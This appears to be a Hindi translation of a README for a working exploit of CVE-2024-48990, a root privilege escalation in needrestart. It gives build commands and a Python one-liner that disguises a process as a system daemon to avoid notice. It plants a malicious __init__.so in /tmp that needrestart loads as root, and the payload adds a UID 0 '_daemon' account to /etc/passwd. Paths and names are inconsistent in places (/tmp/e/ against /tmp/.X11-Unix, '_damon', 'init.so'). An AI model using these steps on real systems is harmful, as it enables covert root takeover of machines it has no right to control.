
CVE-2024-48990 (needrestart < 3.8 में स्थानीय विशेषाधिकार वृद्धि) के लिए एक्सप्लॉइट
CVE-2024-48990 के लिए एक्सप्लॉइट (needrestart < 3.8 में स्थानीय विशेषाधिकार वृद्धि)
https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart पढ़ें। Qualys इसे समझाने में बहुत अच्छा काम करता है।
TLDR;
needrestart 3.8 से कम वाले सिस्टम पर, स्थानीय उपयोगकर्ता बिना किसी उपयोगकर्ता इंटरैक्शन के मनमाना कोड निष्पादित कर सकते हैं और रूट तक विशेषाधिकार बढ़ा सकते हैं।

जैसा कि अब लिखा गया है, एक्सप्लॉइट sed कमांड का उपयोग करके /etc/passwd फ़ाइल को संपादित करके सिस्टम में UID/GID 0 (रूट) वाला एक नया उपयोगकर्ता "_daemon" जोड़ेगा। पासवर्ड उपयोगकर्ता नाम के समान है। यह भी निश्चित नहीं है कि आप इसे एक्सप्लॉइट कह सकते हैं क्योंकि यह सिर्फ एक साझा लाइब्रेरी है जो एक एकल कमांड चलाती है।
अपने लिए एक्सप्लॉइट संकलित करने के लिए, नीचे दिया गया चलाएँ:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
आप कोई भी लंबे समय तक चलने वाली पायथन स्क्रिप्ट चला सकते हैं। लेकिन प्रक्रिया सूची में कम संदिग्ध दिखने के लिए, आप इस एक-लाइनर का उपयोग कर सकते हैं जो एक पायथन इंटरप्रेटर शुरू करता है जो शुरू होते ही निलंबित हो जाता है (इसलिए यह वास्तव में कभी कुछ निष्पादित नहीं करता है)।
PYTHON - पायथन इंटरप्रेटर का पथ
ARGV - वह स्ट्रिंग जो प्रक्रिया सूची में दिखाई देगी
PYPATH - आपके द्वारा बनाई गई निर्देशिका का पथ (importlib निर्देशिका शामिल नहीं)
ARGV के लिए सुनिश्चित करें कि:
पायथन इंटरप्रेटर का पथ ARGV में पहला तर्क है
दूसरा तर्क ("script") एक फ़ाइल है जो वास्तव में सिस्टम पर मौजूद है (needrestart यह जाँचता है)। वास्तविक पायथन स्क्रिप्ट होने की आवश्यकता नहीं है।
दूसरा तर्क पहले से चल रही प्रक्रिया के समान नहीं है (needrestart पहले से देखे गए "कैश्ड" का उपयोग करेगा)।
इसके अलावा, आप ARGV के साथ जितना चाहें खेल सकते हैं। हो सकता है कि इसे एक सामान्य सिस्टम प्रक्रिया जैसा दिखाएं?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
इसे importlib निर्देशिका के अंदर और "init.so" नाम से होना चाहिए
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
अगली बार जब needrestart चलेगा (यानी apt या unattended upgrades के साथ एक अपडेट इसे शुरू करता है), यह हमारी प्रक्रिया के PYTHONPATH वेरिएबल के साथ पायथन चलाएगा और init.so फ़ाइल लोड करेगा, जो हमारा कमांड चलाएगा। आप _damon:_daemon क्रेडेंशियल्स के साथ लॉगिन कर सकेंगे।
needrestart पूरी तरह से बेवकूफ नहीं है और प्रक्रियाओं को स्कैन करते समय और कोड के कमजोर भाग में प्रवेश करने से पहले कुछ चीज़ों की जाँच करता है